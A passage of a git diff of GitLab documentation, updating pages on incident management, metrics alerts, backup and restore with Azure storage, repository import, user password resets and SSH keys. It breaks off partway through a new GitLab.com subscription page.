b/doc/operations/incident_management/img/alert_list_v13_1.png Binary files differindex 7a1a5f5191e..7a1a5f5191e 100644 --- a/doc/user/project/operations/img/alert_list_v13_1.png +++ b/doc/operations/incident_management/img/alert_list_v13_1.png diff --git a/doc/operations/incident_management/img/incident_alert_details_v13_4.png b/doc/operations/incident_management/img/incident_alert_details_v13_4.png Binary files differnew file mode 100644 index 00000000000..d98ab99a4ff --- /dev/null +++ b/doc/operations/incident_management/img/incident_alert_details_v13_4.png diff --git a/doc/operations/incident_management/img/incident_list_sort_v13_3.png b/doc/operations/incident_management/img/incident_list_sort_v13_3.png Binary files differdeleted file mode 100644 index 4a263aa188e..00000000000 --- a/doc/operations/incident_management/img/incident_list_sort_v13_3.png +++ /dev/null diff --git a/doc/operations/incident_management/img/incident_list_v13_4.png b/doc/operations/incident_management/img/incident_list_v13_4.png Binary files differnew file mode 100644 index 00000000000..bf00e630c67 --- /dev/null +++ b/doc/operations/incident_management/img/incident_list_v13_4.png diff --git a/doc/operations/incident_management/img/new_incident_create_v13_4.png b/doc/operations/incident_management/img/new_incident_create_v13_4.png Binary files differnew file mode 100644 index 00000000000..458532736bd --- /dev/null +++ b/doc/operations/incident_management/img/new_incident_create_v13_4.png diff --git a/doc/operations/incident_management/incidents.md b/doc/operations/incident_management/incidents.md index 0668dc72c22..3ff02b3dc6b 100644 --- a/doc/operations/incident_management/incidents.md +++ b/doc/operations/incident_management/incidents.md @@ -13,12 +13,23 @@ For users with at least Developer [permissions](../../user/permissions.md), the Incident Management list is available at **Operations > Incidents** in your project's sidebar. The list contains the following metrics: - + - **Status** - To filter incidents by their status, click **Open**, **Closed**, or **All** above the incident list. - **Search** - The Incident list supports a simple free text search, which filters on the **Title** and **Incident** fields. +- **Severity** - Severity of a particular incident, which can be one of the following + values: + - **{severity-critical}** **Critical - S1** + - **{severity-high}** **High - S2** + - **{severity-medium}** **Medium - S3** + - **{severity-low}** **Low - S4** + - **{severity-unknown}** **Unknown** + + NOTE: **Note:** + Editing incident severity on the incident details page was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229402) in GitLab 13.4. + - **Incident** - The description of the incident, which attempts to capture the most meaningful data. - **Date created** - How long ago the incident was created. This field uses the @@ -26,13 +37,17 @@ in your project's sidebar. The list contains the following metrics: tooltip depending on the user's locale. - **Assignees** - The user assigned to the incident. - **Published** - Displays a green check mark (**{check-circle}**) if the incident is published - to a [Status Page](status_page.md).. **(ULTIMATE)** + to a [Status Page](status_page.md). **(ULTIMATE)** The Incident list displays incidents sorted by incident created date. -([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229534) to GitLab core in 13.3).) +([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229534) to GitLab core in 13.3.) To see if a column is sortable, point your mouse at the header. Sortable columns display an arrow next to the column name. +TIP: **Tip:** +For a live example of the incident list in action, visit this +[demo project](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc/-/incidents). + NOTE: **Note:** Incidents share the [Issues API](../../user/project/issues/index.md). @@ -47,13 +62,13 @@ to create issues when alerts are triggered: 1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**: -  +  1. For GitLab versions 11.11 and greater, you can select the **Create an issue** checkbox to create an issue based on your own [issue templates](../../user/project/description_templates.md#creating-issue-templates). For more information, see - [Trigger actions from alerts](../metrics/alerts.md#trigger-actions-from-alerts-ultimate) **(ULTIMATE)**. + [Trigger actions from alerts](../metrics/alerts.md#trigger-actions-from-alerts) **(ULTIMATE)**. 1. To create issues from alerts, select the template in the **Issue Template** select box. 1. To send [separate email notifications](index.md#notify-developers-of-alerts) to users @@ -64,20 +79,32 @@ to create issues when alerts are triggered: Appropriately configured alerts include an [embedded chart](../metrics/embed.md#embedding-metrics-based-on-alerts-in-incident-issues) for the query corresponding to the alert. You can also configure GitLab to -[close issues](../metrics/alerts.md#trigger-actions-from-alerts-ultimate) +[close issues](../metrics/alerts.md#trigger-actions-from-alerts) when you receive notification that the alert is resolved. ## Create an incident manually -> [Moved](https://gitlab.com/gitlab-org/monitor/health/-/issues/24) to GitLab core in 13.3. +If you have at least Developer [permissions](../../user/permissions.md), to create an Incident, you have two options. -For users with at least Developer [permissions](../../user/permissions.md), to create a Incident you can take any of the following actions: +### From the Incidents List + +> [Moved](https://gitlab.com/gitlab-org/monitor/health/-/issues/24) to GitLab core in 13.3. - Navigate to **Operations > Incidents** and click **Create Incident**. - Create a new issue using the `incident` template available when creating it. - Create a new issue and assign the `incident` label to it. - + + +### From the Issues List + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230857) in GitLab 13.4. + +- Navigate to **Issues > List** and click **Create Issue**. +- Create a new issue using the `type` drop-down and select `Incident`. +- The page refreshes and the page only displays fields relevant to Incidents. + + ## Configure PagerDuty integration @@ -91,7 +118,7 @@ in both PagerDuty and GitLab: 1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**. 1. Select the **PagerDuty integration** tab: -  +  1. Activate the integration, and save the changes in GitLab. 1. Copy the value of **Webhook URL** for use in a later step. @@ -101,3 +128,29 @@ in both PagerDuty and GitLab: To confirm the integration is successful, trigger a test incident from PagerDuty to confirm that a GitLab issue is created from the incident. + +## Incident details + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230847) in GitLab 13.4. + +### Summary + +The summary section for incidents provides both critical details about and the +contents of the issue template (if one was used). The highlighted bar at the top +of the incident displays from left to right: the link to the original alert, the +alert start time, and the event count. Beneath the highlight bar, GitLab +displays a summary that includes the following fields: + +- Start time +- Severity +- `full_query` +- Monitoring tool + +### Alert details + +Incidents show the details of linked alerts in a separate tab. To populate this +tab, the incident must have been created with a linked alert. Incidents +[created automatically](#configure-incidents) from alerts will have this +field populated. + + diff --git a/doc/operations/incident_management/index.md b/doc/operations/incident_management/index.md index 53a6b47ec4b..28e69a6bbfe 100644 --- a/doc/operations/incident_management/index.md +++ b/doc/operations/incident_management/index.md @@ -8,13 +8,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2877) in GitLab 13.0. -Alert Management enables developers to easily discover and view the alerts +Incident Management enables developers to easily discover and view the alerts generated by their application. By surfacing alert information where the code is being developed, efficiency and awareness can be increased. GitLab offers solutions for handling incidents in your applications and services, such as [setting up Prometheus alerts](#configure-prometheus-alerts), -[displaying metrics](alertdetails.md#embed-metrics-in-incidents-and-issues), and sending notifications. +[displaying metrics](./alert_details.md#embed-metrics-in-incidents-and-issues), and sending notifications. ## Alert notifications @@ -35,7 +35,7 @@ These emails contain details of the alert, and a link for more information. To send separate email notifications to users with [Developer permissions](../../user/permissions.md), see -[Configure incidents](incidents.md#configure-incidents). +[Configure incidents](./incidents.md#configure-incidents). ## Configure Prometheus alerts @@ -49,16 +49,19 @@ user, but it does not count toward your license limit. ## Configure external generic alerts -GitLab can accept alerts from any source through a generic webhook receiver. When -[configuring the generic alerts integration](../../user/project/integrations/generic_alerts.md), -GitLab creates a unique endpoint which receives a JSON-formatted, customizable payload. +GitLab can accept alerts from any source through a generic webhook receiver. +When [configuring the generic alerts integration](./generic_alerts.md), GitLab +creates a unique endpoint which receives a JSON-formatted, customizable payload. + +After configuration, you can manage your alerts using either the +[alerts section](./alerts.md) or the [alert details section](./alert_details.md). ## Integrate incidents with Slack Slack slash commands allow you to control GitLab and view GitLab content without leaving Slack. Learn how to [set up Slack slash commands](../../user/project/integrations/slack_slash_commands.md) -and how to [use the available slash commands](../../user/project/slash_commands.md). +and how to [use the available slash commands](../../integration/slash_commands.md). ## Integrate issues with Zoom @@ -66,3 +69,13 @@ GitLab enables you to [associate a Zoom meeting with an issue](../../user/projec for synchronous communication during incident management. After starting a Zoom call for an incident, you can associate the conference call with an issue. Your team members can join the Zoom call without requesting a link. + +## More information + +For information about GitLab and incident management, see: + +- [Generic alerts](generic_alerts.md) +- [Alerts](alerts.md) +- [Alert details](alert_details.md) +- [Incidents](incidents.md) +- [Status page](status_page.md) diff --git a/doc/operations/incident_management/status_page.md b/doc/operations/incident_management/status_page.md index e376607d86f..9db3593caec 100644 --- a/doc/operations/incident_management/status_page.md +++ b/doc/operations/incident_management/status_page.md @@ -12,11 +12,11 @@ With a GitLab Status Page, you can create and deploy a static website to communi efficiently to users during an incident. The Status Page landing page displays an overview of recent incidents: - + Clicking an incident displays a detail page with more information about a particular incident: - + - Status on the incident, including when the incident was last updated. - The incident title, including any emojis. @@ -144,7 +144,7 @@ you provided during setup. As part of publication, GitLab will: After publication, you can access the incident's details page by clicking the **Published on status page** button displayed under the Incident's title. - + ### Update an incident diff --git a/doc/operations/index.md b/doc/operations/index.md index bcc3f89f47f..7ab34502277 100644 --- a/doc/operations/index.md +++ b/doc/operations/index.md @@ -36,7 +36,7 @@ Are your alerts too noisy? Alerts configured on GitLab metrics can configured and fine-tuned in GitLab immediately following a fire-fight. - [Manage alerts and incidents](../user/incident_management/index.md) in GitLab. -- [Configure alerts for metrics](metrics/alerts.md#set-up-alerts-for-prometheus-metrics-core) in GitLab. +- [Configure alerts for metrics](metrics/alerts.md#set-up-alerts-for-prometheus-metrics) in GitLab. - Create a [status page](incident_management/status_page.md) to communicate efficiently to your users during an incident. diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md index 2ed8de9396a..5b880ab9746 100644 --- a/doc/operations/metrics/alerts.md +++ b/doc/operations/metrics/alerts.md @@ -6,14 +6,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Set up alerts for Prometheus metrics **(CORE)** +> [Moved from Ultimate to Core](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) in GitLab 12.10. + After [configuring metrics for your CI/CD environment](index.md), you can set up alerting for Prometheus metrics depending on the location of your instances, and -[trigger actions from alerts](#trigger-actions-from-alerts-ultimate) to notify +[trigger actions from alerts](#trigger-actions-from-alerts) to notify your team when environment performance falls outside of the boundaries you set. ## Managed Prometheus instances -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6590) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.2 for [custom metrics](index.md#adding-custom-metrics), and GitLab 11.3 for [library metrics](../../user/project/integrations/prometheus_library/metrics.md). +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6590) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.2 for [custom metrics](index.md#adding-custom-metrics), and GitLab 11.3 for [library metrics](../../user/project/integrations/prometheus_library/metrics.md). For managed Prometheus instances using auto configuration, you can [configure alerts for metrics](index.md#adding-custom-metrics) directly in the @@ -33,7 +35,7 @@ To remove the alert, click back on the alert icon for the desired metric, and cl ### Link runbooks to alerts -> - Runbook URLs [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39315) in GitLab 13.3. +> Runbook URLs [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39315) in GitLab 13.3. When creating alerts from the metrics dashboard for [managed Prometheus instances](#managed-prometheus-instances), you can also link a runbook. When the alert triggers, the @@ -45,8 +47,8 @@ as soon as the alert fires: ## External Prometheus instances ->- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9258) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.8. ->- [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to [GitLab Core](https://about.gitlab.com/pricing/) in 12.10. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9258) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.8. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to [GitLab Core](https://about.gitlab.com/pricing/) in 12.10. For manually configured Prometheus servers, GitLab provides a notify endpoint for use with Prometheus webhooks. If you have manual configuration enabled, an @@ -78,12 +80,12 @@ Prometheus. The value of this should match the name of your environment in GitLa NOTE: **Note:** In GitLab versions 13.1 and greater, you can configure your manually configured Prometheus server to use the -[Generic alerts integration](../../user/project/integrations/generic_alerts.md). +[Generic alerts integration](../incident_management/generic_alerts.md). ## Trigger actions from alerts **(ULTIMATE)** ->- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4925) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.11. ->- [From GitLab Ultimate 12.5](https://gitlab.com/gitlab-org/gitlab/-/issues/13401), when GitLab receives a recovery alert, it will automatically close the associated issue. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4925) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.11. +> - [From GitLab Ultimate 12.5](https://gitlab.com/gitlab-org/gitlab/-/issues/13401), when GitLab receives a recovery alert, it will automatically close the associated issue. Alerts can be used to trigger actions, like opening an issue automatically (disabled by default since `13.1`). To configure the actions: diff --git a/doc/operations/metrics/dashboards/variables.md b/doc/operations/metrics/dashboards/variables.md index 8b0d7f37052..22c8814e8bd 100644 --- a/doc/operations/metrics/dashboards/variables.md +++ b/doc/operations/metrics/dashboards/variables.md @@ -18,6 +18,7 @@ Queries that continue to use the old format will show no data. GitLab supports a limited set of [CI variables](../../../ci/variables/README.md) in the Prometheus query. This is particularly useful for identifying a specific environment, for example with `ci_environment_slug`. The supported variables are: +- `environment_filter` - `ci_environment_slug` - `kube_namespace` - `ci_project_name` @@ -29,6 +30,14 @@ GitLab supports a limited set of [CI variables](../../../ci/variables/README.md) NOTE: **Note:** Variables for Prometheus queries must be lowercase. +### environment_filter + +`environment_filter` is automatically expanded to `container_name!="POD",environment="ENVIRONMENT_NAME"` +where `ENVIRONMENT_NAME` is the name of the current environment. + +For example, a Prometheus query like `container_memory_usage_bytes{ {{environment_filter}} }` +becomes `container_memory_usage_bytes{ container_name!="POD",environment="production" }`. + ### __range The `__range` variable is useful in Prometheus diff --git a/doc/operations/metrics/embed.md b/doc/operations/metrics/embed.md index 62d60921c85..fcf9679d164 100644 --- a/doc/operations/metrics/embed.md +++ b/doc/operations/metrics/embed.md @@ -20,15 +20,28 @@ metrics to others, and you want to have relevant information directly available. NOTE: **Note:** Requires [Kubernetes](../../user/project/integrations/prometheus_library/kubernetes.md) metrics. +Note: **Note:** +In GitLab versions 13.3 and earlier, metrics dashboard links were in the form +`https://<root_url>/<project>/-/environments/<environment_id>/metrics`. These links +are still supported, and can be used to embed metric charts. + To display metric charts, include a link of the form -`https://<root_url>/<project>/-/environments/<environment_id>/metrics` in a field +`https://<root_url>/<project>/-/metrics?environment=<environment_id>` in a field that supports GitLab-flavored Markdown: - +```markdown +### Summary + +**Start time:** 2020-01-21T12:00:31+00:00 + +### Metrics + +https://gitlab.com/gitlab-org/monitor/tanuki-inc/-/metrics?environment=1118134 +``` GitLab unfurls the link as an embedded metrics panel: - + You can also embed a single chart. To get a link to a chart, click the **{ellipsis_v}** **More actions** menu in the upper right corner of the chart, diff --git a/doc/operations/metrics/img/embedded_metrics_markdown_v12_8.png b/doc/operations/metrics/img/embedded_metrics_markdown_v12_8.png Binary files differdeleted file mode 100644 index ffd34705464..00000000000 --- a/doc/operations/metrics/img/embedded_metrics_markdown_v12_8.png +++ /dev/null diff --git a/doc/operations/metrics/img/embedded_metrics_rendered_v12_8.png b/doc/operations/metrics/img/embedded_metrics_rendered_v12_8.png Binary files differdeleted file mode 100644 index b024daaaa8e..00000000000 --- a/doc/operations/metrics/img/embedded_metrics_rendered_v12_8.png +++ /dev/null diff --git a/doc/operations/metrics/img/embedded_metrics_rendered_v13_4.png b/doc/operations/metrics/img/embedded_metrics_rendered_v13_4.png Binary files differnew file mode 100644 index 00000000000..876972dc721 --- /dev/null +++ b/doc/operations/metrics/img/embedded_metrics_rendered_v13_4.png diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md index 92c4a4986bc..742e6acef0e 100644 --- a/doc/operations/metrics/index.md +++ b/doc/operations/metrics/index.md @@ -46,7 +46,7 @@ For GitLab-managed Prometheus, you can set up [Auto DevOps](../../topics/autodev to quickly create a deployment: 1. Navigate to your project's **Operations > Kubernetes** page. -1. Ensure that, in addition to Prometheus, you also have Runner and Ingress +1. Ensure that, in addition to Prometheus, you also have GitLab Runner and Ingress installed. 1. After installing Ingress, copy its endpoint. 1. Navigate to your project's **Settings > CI/CD** page. In the @@ -118,7 +118,7 @@ After creating your dashboard, you can customize it to meet your needs: [create custom metrics](#adding-custom-metrics) and display them on your metrics dashboard. - **Configure alerts for metrics**: [Configure custom alerts](alerts.md) for your team when environment performance falls outside of the boundaries you set. -- **Trigger actions from alerts**: [Open new issues for your team](alerts.md#trigger-actions-from-alerts-ultimate) **(ULTIMATE)** +- **Trigger actions from alerts**: [Open new issues for your team](alerts.md#trigger-actions-from-alerts) **(ULTIMATE)** when environment performance falls outside of the boundaries you set. ## Metrics dashboard visibility diff --git a/doc/operations/product_analytics.md b/doc/operations/product_analytics.md index 96f1a45167b..8f660a16b47 100644 --- a/doc/operations/product_analytics.md +++ b/doc/operations/product_analytics.md @@ -33,7 +33,7 @@ To enable it: # Instance-wide Feature.enable(:product_analytics) # or by project -Feature.enable(:product_analytics, Project.find(<project id>)) +Feature.enable(:product_analytics, Project.find(<project ID>)) ``` To disable it: @@ -42,7 +42,7 @@ To disable it: # Instance-wide Feature.disable(:product_analytics) # or by project -Feature.disable(:product_analytics, Project.find(<project id>)) +Feature.disable(:product_analytics, Project.find(<project ID>)) ``` ## Access Product Analytics diff --git a/doc/policy/maintenance.md b/doc/policy/maintenance.md index 7f3f75d933d..d2e556f3c8d 100644 --- a/doc/policy/maintenance.md +++ b/doc/policy/maintenance.md @@ -76,6 +76,9 @@ Version specific changes in Omnibus GitLab Linux packages can be found in [the O NOTE: **Note:** Instructions are available for downloading an Omnibus GitLab Linux package locally and [manually installing](https://docs.gitlab.com/omnibus/manual_install.html) it. +NOTE: **Note:** +A step-by-step guide to [upgrading the Omnibus-bundled PostgreSQL is documented separately](https://docs.gitlab.com/omnibus/settings/database.html#upgrade-packaged-postgresql-server). + ### Upgrading major versions Upgrading the *major* version requires more attention. @@ -90,8 +93,8 @@ It's also important to ensure that any background migrations have been fully com before upgrading to a new major version. To see the current size of the `background_migration` queue, [Check for background migrations before upgrading](../update/README.md#checking-for-background-migrations-before-upgrading). -If your GitLab instance has any GitLab Runners associated with it, it is very -important to upgrade the GitLab Runners to match the GitLab minor version that was +If your GitLab instance has any runners associated with it, it is very +important to upgrade GitLab Runner to match the GitLab minor version that was upgraded to. This is to ensure [compatibility with GitLab versions](https://docs.gitlab.com/runner/#compatibility-with-gitlab-versions). ### Version 12 onward: Extra step for major upgrades diff --git a/doc/push_rules/push_rules.md b/doc/push_rules/push_rules.md index 6a3939b0de8..1643c96d229 100644 --- a/doc/push_rules/push_rules.md +++ b/doc/push_rules/push_rules.md @@ -78,7 +78,7 @@ See [server hooks](../administration/server_hooks.md) for more information. NOTE: **Note:** GitLab administrators can set push rules globally under **Admin Area > Push Rules** that all new projects will inherit. You can later -override them in a project's settings. They can be also set on a [group level](../user/group/index.md#group-push-rules-starter). +override them in a project's settings. They can be also set on a [group level](../user/group/index.md#group-push-rules). 1. Navigate to your project's **Settings > Repository** and expand **Push Rules** 1. Set the rule you want diff --git a/doc/raketasks/README.md b/doc/raketasks/README.md index 54b504bbfe8..523486d5137 100644 --- a/doc/raketasks/README.md +++ b/doc/raketasks/README.md @@ -24,7 +24,7 @@ The following are available Rake tasks: | [Elasticsearch](../integration/elasticsearch.md#gitlab-elasticsearch-rake-tasks) **(STARTER ONLY)** | Maintain Elasticsearch in a GitLab instance. | | [Enable namespaces](features.md) | Enable usernames and namespaces for user projects. | | [General maintenance](../administration/raketasks/maintenance.md) | General maintenance and self-check tasks. | -| [Geo maintenance](../administration/raketasks/geo.md) **(PREMIUM ONLY)** | [Geo](../administration/geo/replication/index.md)-related maintenance. | +| [Geo maintenance](../administration/raketasks/geo.md) **(PREMIUM ONLY)** | [Geo](../administration/geo/index.md)-related maintenance. | | [GitHub import](../administration/raketasks/github_import.md) | Retrieve and import repositories from GitHub. | | [Import repositories](import.md) | Import bare repositories into your GitLab instance. | | [Import large project exports](../development/import_project.md#importing-via-a-rake-task) | Import large GitLab [project exports](../user/project/settings/import_export.md). | diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md index 2163cf22944..68b076258ce 100644 --- a/doc/raketasks/backup_restore.md +++ b/doc/raketasks/backup_restore.md @@ -16,7 +16,7 @@ remember to enable backups with your object storage provider if desired. ## Requirements -In order to be able to backup and restore, you need two essential tools +In order to be able to backup and restore, you need one essential tool installed on your system. - **Rsync**: If you installed GitLab: @@ -295,6 +295,24 @@ For installations from source: sudo -u git -H bundle exec rake gitlab:backup:create SKIP=tar RAILS_ENV=production ``` +#### Disabling prompts during restore + +During a restore from backup, the restore script may ask for confirmation before +proceeding. If you wish to disable these prompts, you can set the `GITLAB_ASSUME_YES` +environment variable to `1`. + +For Omnibus GitLab packages: + +```shell +sudo GITLAB_ASSUME_YES=1 gitlab-backup restore +``` + +For installations from source: + +```shell +sudo -u git -H GITLAB_ASSUME_YES=1 bundle exec rake gitlab:backup:restore RAILS_ENV=production +``` + #### Back up Git repositories concurrently > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37158) in GitLab 13.3. @@ -516,6 +534,44 @@ For installations from source: 1. [Restart GitLab](../administration/restart_gitlab.md#installations-from-source) for the changes to take effect +##### Using Azure Blob storage + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25877) in GitLab 13.4. + +For Omnibus GitLab packages: + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['backup_upload_connection'] = { + 'provider' => 'AzureRM', + 'azure_storage_account_name' => '<AZURE STORAGE ACCOUNT NAME>', + 'azure_storage_access_key' => '<AZURE STORAGE ACCESS KEY>', + 'azure_storage_domain' => 'blob.core.windows.net', # Optional + } + gitlab_rails['backup_upload_remote_directory'] = '<AZURE BLOB CONTAINER>' + ``` + +1. [Reconfigure GitLab](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect + +For installations from source: + +1. Edit `home/git/gitlab/config/gitlab.yml`: + + ```yaml + backup: + upload: + connection: + provider: 'AzureRM' + azure_storage_account_name: '<AZURE STORAGE ACCOUNT NAME>' + azure_storage_access_key: '<AZURE STORAGE ACCESS KEY>' + remote_directory: '<AZURE BLOB CONTAINER>' + ``` + +1. [Restart GitLab](../administration/restart_gitlab.md#installations-from-source) for the changes to take effect + +See [the table of Azure parameters](../administration/object_storage.md#azure-blob-storage) for more details. + ##### Specifying a custom directory for backups Note: This option only works for remote storage. If you want to group your backups @@ -725,7 +781,7 @@ from source). This file contains the database encryption key, [CI/CD variables](../ci/variables/README.md#gitlab-cicd-environment-variables), and variables used for [two-factor authentication](../user/profile/account/two_factor_authentication.md). If you fail to restore this encryption key file along with the application data -backup, users with two-factor authentication enabled and GitLab Runners will +backup, users with two-factor authentication enabled and GitLab Runner will lose access to your GitLab server. You may also want to restore any TLS keys, certificates, or [SSH host keys](https://superuser.com/questions/532040/copy-ssh-keys-from-one-server-to-another-server/532079#532079). @@ -1005,14 +1061,14 @@ including (but not restricted to): - [Project mirroring](../user/project/repository/repository_mirroring.md) - [Web hooks](../user/project/integrations/webhooks.md) -In cases like CI/CD variables and Runner authentication, you might +In cases like CI/CD variables and runner authentication, you might experience some unexpected behavior such as: - Stuck jobs. - 500 errors. In this case, you are required to reset all the tokens for CI/CD variables -and Runner Authentication, which is described in more detail below. After +and runner authentication, which is described in more detail below. After resetting the tokens, you should be able to visit your project and the jobs will have started running again. Use the information in the following sections at your own risk. @@ -1069,7 +1125,7 @@ and then users will have to reactivate 2FA from scratch. 1. You may need to reconfigure or restart GitLab for the changes to take effect. -#### Reset Runner registration tokens +#### Reset runner registration tokens 1. Enter the DB console: diff --git a/doc/raketasks/import.md b/doc/raketasks/import.md index 263f9e54a20..c8ca92b4bae 100644 --- a/doc/raketasks/import.md +++ b/doc/raketasks/import.md @@ -1,6 +1,9 @@ # Import bare repositories **(CORE ONLY)** Rake tasks are available to import bare repositories into a GitLab instance. +When migrating from an existing GitLab instance, +and to preserve ownership by users and their namespaces, +please use [our project-based import/export](../user/project/settings/import_export.md). Note that: @@ -14,11 +17,14 @@ Note that: To import bare repositories into a GitLab instance: -1. Create a new folder to import your Git repositories from. The new folder needs to have Git user - ownership and read/write/execute access for Git user and its group: +1. Create a new folder to import your Git repositories from. + You can also import projects into a (sub)group's namespace, + instead of the administrator's namespace. To do so, create subfolders and + give ownership and read/write/execute permissions of those subfolders to the + `git` user and its group: ```shell - sudo -u git mkdir -p /var/opt/gitlab/git-data/repository-import-<date>/new_group + sudo -u git mkdir -p /var/opt/gitlab/git-data/repository-import-$(date "+%Y-%m-%d")/<optional_groupname>/<optional_subgroup> ``` 1. Copy your bare repositories inside this newly created folder. Note: @@ -26,15 +32,15 @@ To import bare repositories into a GitLab instance: - Any `.git` repositories found on any of the subfolders will be imported as projects. - Groups will be created as needed, these could be nested folders. - For example, if we copy the repositories to `/var/opt/gitlab/git-data/repository-import-<date>`, + For example, if we copy the repositories to `/var/opt/gitlab/git-data/repository-import-2020-08-22`, and repository `A` needs to be under the groups `G1` and `G2`, it must be created under those folders: - `/var/opt/gitlab/git-data/repository-import-<date>/G1/G2/A.git`. + `/var/opt/gitlab/git-data/repository-import-2020-08-22/G1/G2/A.git`. ```shell - sudo cp -r /old/git/foo.git /var/opt/gitlab/git-data/repository-import-<date>/new_group/ + sudo cp -r /old/git/foo.git /var/opt/gitlab/git-data/repository-import-$(date "+%Y-%m-%d")/<optional_groupname>/<optional_subgroup> # Do this once when you are done copying git repositories - sudo chown -R git:git /var/opt/gitlab/git-data/repository-import-<date> + sudo chown -R git:git /var/opt/gitlab/git-data/repository-import-$(date "+%Y-%m-%d") ``` `foo.git` needs to be owned by the `git` user and `git` users group. @@ -46,7 +52,7 @@ To import bare repositories into a GitLab instance: - Omnibus Installation ```shell - sudo gitlab-rake gitlab:import:repos['/var/opt/gitlab/git-data/repository-import-<date>'] + sudo gitlab-rake gitlab:import:repos['/var/opt/gitlab/git-data/repository-import-$(date "+%Y-%m-%d")'] ``` - Installation from source. Before running this command you need to change to the directory where @@ -54,7 +60,7 @@ To import bare repositories into a GitLab instance: ```shell cd /home/git/gitlab - sudo -u git -H bundle exec rake gitlab:import:repos['/var/opt/gitlab/git-data/repository-import-<date>'] RAILS_ENV=production + sudo -u git -H bundle exec rake gitlab:import:repos['/var/opt/gitlab/git-data/repository-import-$(date "+%Y-%m-%d")'] RAILS_ENV=production ``` ## Example output diff --git a/doc/security/README.md b/doc/security/README.md index bbc7db54b14..f8b9e423c04 100644 --- a/doc/security/README.md +++ b/doc/security/README.md @@ -12,7 +12,7 @@ type: index - [Rate limits](rate_limits.md) - [Webhooks and insecure internal web services](webhooks.md) - [Information exclusivity](information_exclusivity.md) -- [Reset your root password](reset_root_password.md) +- [Reset user password](reset_user_password.md) - [Unlock a locked user](unlock_user.md) - [User File Uploads](user_file_uploads.md) - [How we manage the CRIME vulnerability](crime_vulnerability.md) diff --git a/doc/security/reset_root_password.md b/doc/security/reset_user_password.md index cd2144698f6..bc8de882afe 100644 --- a/doc/security/reset_root_password.md +++ b/doc/security/reset_user_password.md @@ -2,9 +2,9 @@ type: howto --- -# How to reset your root password +# How to reset user password -To reset your root password, first log into your server with root privileges. +To reset the password of a user, first log into your server with root privileges. Start a Ruby on Rails console with this command: @@ -14,18 +14,22 @@ gitlab-rails console -e production Wait until the console has loaded. -There are multiple ways to find your user. You can search for email or username. +## Find the user + +There are multiple ways to find your user. You can search by email or user ID number. ```shell -user = User.where(id: 1).first +user = User.where(id: 7).first ``` or ```shell -user = User.find_by(email: 'admin@example.com') +user = User.find_by(email: 'user@example.com') ``` +## Reset the password + Now you can change your password: ```shell @@ -35,6 +39,14 @@ user.password_confirmation = 'secret_pass' It's important that you change both password and password_confirmation to make it work. +When using this method instead of the [Users API](../api/users.md#user-modification), GitLab sends an email to the user stating that the user changed their password. + +If the password was changed by an administrator, execute the following command to notify the user by email: + +```shell +user.send_only_admin_changed_your_password_notification! +``` + Don't forget to save the changes. ```shell @@ -43,6 +55,19 @@ user.save! Exit the console and try to login with your new password. +NOTE: **Note:** +Passwords can also be reset via the [Users API](../api/users.md#user-modification) + +### Reset your root password + +The steps described above can also be used to reset the root password. But first, identify the root user, with an `id` of `1`. To do so, run the following command: + +```shell +user = User.where(id: 1).first +``` + +After finding the user, follow the steps mentioned in the [Reset the password](#reset-the-password) section to reset the password of the root user. + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/ssh/README.md b/doc/ssh/README.md index b4b6f9a70e3..1c5654ae96c 100644 --- a/doc/ssh/README.md +++ b/doc/ssh/README.md @@ -132,7 +132,7 @@ At this point, you'll see the following message in the command line (for ED25519 ```plaintext Generating public/private ed25519 key pair. -Enter file in which to save the key (/home/user/.ssh/id_rsa): +Enter file in which to save the key (/home/user/.ssh/id_ed25519): ``` If you don't already have an SSH key pair and are not generating a [deploy key](#deploy-keys), @@ -215,7 +215,7 @@ Now you can copy the SSH key you created to your GitLab account. To do so, follo If you're using an RSA key, substitute accordingly. -1. Navigate to `http://gitlab.com` and sign in. +1. Navigate to `https://gitlab.com` and sign in. 1. Select your avatar in the upper right corner, and click **Settings** 1. Click **SSH Keys**. 1. Paste the public key that you copied into the **Key** text box. diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md new file mode 100644 index 00000000000..bce61cdad66 --- /dev/null +++ b/doc/subscriptions/gitlab_com/index.md @@ -0,0 +1,315 @@ +--- +type: index, reference +--- + +# GitLab.com subscription **(BRONZE ONLY)** + +GitLab.com is GitLab Inc.'s software-as-a-service offering. You don't need to +install anything to 